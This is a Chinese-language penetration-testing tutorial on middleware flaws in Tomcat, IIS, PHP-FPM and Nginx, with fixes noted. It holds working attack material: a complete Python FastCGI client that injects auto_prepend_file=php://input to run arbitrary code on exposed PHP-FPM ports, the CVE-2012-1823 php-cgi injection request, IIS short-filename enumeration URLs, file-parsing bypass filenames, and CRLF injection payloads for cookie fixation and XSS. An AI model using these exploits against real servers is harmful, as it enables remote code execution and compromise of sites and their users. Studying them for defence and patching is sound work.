中间件渗透

Apache任意文件执行和文件解析漏洞：

Tomcat远程代码执行：CVE-2017-12615

将 readonly参数设置为false时，即可通过PUT方式创建一个JSP文件，并可以执行任意代码。

文件名相关限制（如Windows中文件名不能以空格结尾）来绕过限制返回201说明文件已经上传成功。（直接请求会被拦截）

IIS文件解析漏洞：

漏洞利用：

文件解析漏洞一般用于各种上传漏洞中，在文件上传的地方一般会限制用户可以上传文件的后缀名，比如php的网站如果可以上传php文件，那么就可以上传一个php木马，然后控制该服务器了，也就是我们所说的get shell了。

那么实际的漏洞环境中IIS一般是和asp搭配的，上传的地方如果限制了.asp的后缀名，那么首先想到的应该是使用其它IIS支持的文件后缀。其实IIs解析asp脚本除了.asp后缀还有.cer和.asa。

IIS6.0

IIS6.0命令执行漏洞：CVE-2017-7269,在开启WebDav服务的情况下存在可远程执行漏洞。

漏洞原理:

在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。

攻击方法：

GitHub上的一个开源exp：https://github.com/edwardz246003/IIS_ exploit

将exp中的IP地址改为目标IP地址。

攻击结果：

这个exp的结果是弹出计算机，验证漏洞可以执行代码可以在目标机中的进程中看到calc.exe。

---------------------------------------------------------

在处理含有特殊符号的文件路径时会出现逻辑错误，从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式：

• /test.asp/test.jpg
• test.asp;.jpg

第一种方式：

是新建一个名为“test.asp”的目录，该目录中的任何文件都被IIS当做asp程序执行（特殊符号是“/”）

第二种方式：

是上传名为“test.asp;.jpg”的文件，虽然该文件真正的后缀名是“.jpg"，但由于含有特殊符号“；”，仍会被llS当做asp程序执行。

IIS7.5

test.jpg/.php一看到URL中文件后缀是.php，便无论该文件是否存在，都直接交给php处理，而php又默认开启“cgi.fix_pathinfo”，会对文件路径进行“修理”，何谓“修理”？举个例子，当php遇到文件路径“/aaa.xxx/bbb.yyy”时，若
“/aaa.xxx/bbb.yyy”不存在，则会去掉最后的“bbb.yyy”，然后判断“/aaa.xxx”是否存在，若存在，则把“/aaa.xxx”当做文件。
若有文件test.jpg，访问时在其后加/.php，便可以让IIS把“test.jpg/.php”交给php，php“修理”文件路径“test.jpg/.php”得到“test.jpg”，该文件存在，便把该文件作为php程序执行了。

 

 

IIS短文件名：

为了兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹生成了对应的windows8.3短文件名。
在Windows下查看对应的短文件名，可以使用命令dir/x。

在D盘下创建一个名为aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.html的文件，观察可得到如下规律：

• 1、文件名字符长度超过9位则显示短文件名
• 2、只有前六位字符直接显示，后续字符用~1指代。其中数字1还可以递增，如果存在多个文件名类似的文件（名称前6位必须相同，且后缀名前3位必须相同）
• 3、后缀名最长只有3位，多余的被截断

II短文件名漏洞利用

存在暴利列举短文件名的可能：

• 1.访问构造的某个存在的短文件名，会返回404
• 2.访问构造的某个不存在的短文件名，会返回400

payload：

http://x.x.x.x/*~1*/a.aspx（返回404说明有短文件名，后面四个通配符*是为了便于理解）

http://x.x.x.x/360*~1*/a.aspx（返回400说明没有以360开头的短文件名）

手工猜解过程（可以跑脚本）：

• 1、http://x.x.x.x/A*～1****/a.aspx
• 2、http://x.x.x.x/AAAAAA*~1****/a.aspx
• 3、http://x.x.x.x/AAAAAA~1/a.aspx（判断是否是文件夹）
• 4、http://x.x.x.x/AAAAAA～1*A**/a.aspx
• 5、http://x.x.x.x/AAAAAA~1*H**/a.aspx
• 6、http://x.x.x.x/AAAAAA~1.HTM/a.aspx

AAAAAA~1.HTM短文件被猜解出来

漏洞意义

• 1、猜解后台地址
• 2、猜解敏感文件，例如备份的rar、zip、.bak、.SQL文件等
• 3、在某些情形下，甚至可以通过短文件名web直接下载对应的文件。（如下载备份SQL文件）

漏洞局限性

• 1、只能猜解前六位，以及扩展名的前3位。
• 2、名称较短的文件是没有相应的短文件名的。
• 3、需要IIS和.net两个条件都满足

漏洞修复

 

• 1、升级.net framework
• 2、修改注册表键值：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSyste m修改NtfsDisable8dot3NameCreation为1
• 3、将web文件夹的内容拷贝到另一个位置，比如D:\www到D:\www.back，然后删除原文件夹D:\www，再重命名D:\www.back到D:\www

修改完：

 

什么是CGI：

中间件与PHP的结合方式

• CGI：用户每发送一个请求，CGI都会创建一个子进程执行请求，将执行结果返回给用户，然后结束子进程。导致CGI模式运行的网站不能同时接受大量请求。
• FastCGI：将进程一直运行在后台，接收数据包，执行后返回结果，自身不退出。

FastCGI

中间件与PHP的结合方式：

• CGI
• FastCGI
• Module

FastCGI是一种通信协议，是进行数据交换的通道。
类比HTTP协议，FastCGI的record也包含头与体。

PHP-FPM（FastCGI进程管理器）

中间件将用户请求按照FastCGI的规则打包好通过TCP传给PHP-FPM，PHP-FPM按照FastCGI的协议将TCP流解析成真正的数据。
例如：
用户访问http://127.0.0.1/index.php？a=1&b=2
Web目录是：/var/www/html中间件会将请求按照FastCGI协议要求将内容变成如下key-value，FastCGI给服务器传递的就是这个key-value。

key-value

攻击原理：

上图的9003端口其实是个例子，可以看做9000

web服务器通过解析FastCGI发送的key-value来去script_filename后面的路径查找文件。

FastCGI默认端口：9000。

SCRIPT_FILENAME的值对于攻击时至关重要，PHP-FPM根据路径去执行php文件，如果不存在，则会返回404所以要先找到已经存在的PHP文件。

使用源安装php的时候，服务器上都会附带一些php后缀的文件，使用find/-name“*.php"来全局搜索默认环境以上便可以结合payload来访问服务器php文件了。

最终的payload：

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',#打开远程命令执行
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

执行任意命令：

python fpm. py 192.168.237.162 /usr/local/lib/php/PEAR.php -c ''

只要有这个PEAR.php文件，就可以执行任意代码或命令。

漏洞修复：

不要对外开放9000端口

Nginx文件解析漏洞

1.Nginx下，请求文件/shell.gif时在后面加个*.php，即/shell.gif/1.php，可能会被当作PHP代码执行。和Apache一样，Nginx也是通过mime.types识别文件。文件在/etc/nginx/mime.types。

原理：

Nginx拿到文件路径/1.jpg/1.php后，一看后缀是.php，便认为该文件是php文件，转交给php去处理。php一看/1.jpg/1.php不存在，便删去最后的/1.php，又看/1.jpg存在，便把/1.jpg当成要执行的文件了，又因为后缀为jpg，php认为这不是php文件，于是返回“Access denied."。

开启cgi.fix-pathinfo，该值默认为1，表示开启。他的作用是最文件路径进行修理。他可以在/etc/php5/fpm/php.ini中进行修改。

配置/etc/php5/fpm/pool.d/www.conf中security.limit_extensions允许解析其他格式文件为PHP。（再次访问1.jpg/1.php则可以正常解析）

2.用户访问http://127.0.0.1/a.jpg/.php时，将a.jpg按照.php后缀进行解析。原因是：

PHP-FPM【PHP-CGI】（FastCGI中的文件解析器）会消减不存在的路径，判断/var/www/html/a.jpg存在，并作为PHP执行。

 

漏洞成因：

PHP起初限制Web请求过程中不允许传入参数一位开发者为了运维方便，发表过言论，认为不应该限制PHP-CGI接受命令参数，于是if(!cgi)getopt(...)在配置文件中被删除了

 

CVE-2012-1823

CGI模式下的参数：

• -c 指定php.ini文件的位置-n不要加载php.ini文件
• -d 指定配置项
• -b 启动fastcgi进程）
• -s 显示文件源码
• -T 执行指定次该文件
• -h 和 -？显示帮助

利用方法 -d ， auto_prepend_file来制造任意文件包含漏洞，执行任意代码：

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

这个漏洞被爆出来以后，PHP官方对其进行了修补，发布了新版本5.4.2及5.3.12，但这个修复是不完全的，可以被绕过，进而衍生出

CVE-2012-2311漏洞。

5.4.2及5.3.12的修复代码：

通过使用空白符加-的方式，也能传入参数。这时候第一个字符就是空白符而不是 "-" 了，绕过了上述检查。于是，php5.4.3和php5.3.13中继续进行修改。
先跳过所有空白符（小于等于空格的所有字符），再判断第一个字符是否是 "-"

 

Nginx配置不当：

CRLF注入：

两种跳转方式：

• http://www.baidu.com------>https://www.baidu.com
• baidu.com----->https://www.baidu.com

Nginx配置文件：

• $uri：解码后请求路径，不含参数；
• $document_uri：解码后请求路径，不含参数；
• $request_uri：完整的URI，不解码；

查看Nginx配置文件cat /etc/nginx/conf.d/error1.conf

漏洞成因

CRLF是”回车+换行”（\r\n）的简称。
HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器根据两个CRLF来取出HTTP内容并显示出来。
通过控制HTTP消息头中的字符，注入一些恶意的换行，就能注入一些会话Cookie或者HTML代码

漏洞复现：

1.会话固定：

正常请求下的数据包：

%0aSet-cookie:JSPSESSID%3D360

2.反射型XSS

%0d%0a%0d%0a

为什么没弹窗？

浏览器Filter对XSS特征进行了过滤，并且浏览器进行了跳转
如何阻止浏览器跳转，参考链接：
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html

修复方法：

使用不解码的URI跳转。

任何可以设置HTTP头场景都会出现CRLF注入问题

 

目录穿越：

Nginx反向代理，静态文件储存在/home/下，而访问时需要在url中输入files，需要如下配置

/files没有用/闭合，导致可以穿越至上层目录（指向/home/目录）

但是后面加上 ".." 可以遍历出上级目录的内容。

修复方法：

闭合/files

 

Nginx配置相关目录：

• /usr/share/nginx/html #默认web目录
• /etc/nginx/ #配置文件目录
• /etc/php5/fpm #php配置文件目录
• /var/log/nginx/access.log #访问日志
• /var/log/nginx/error.log #错误日志

 

Nginx目录遍历

Nginx默认是不会开启目录遍历的。

在/etc/nginx/sites-available/default配置文件中

在location里加上autoindex on;表示开启

这样就会导致目录遍历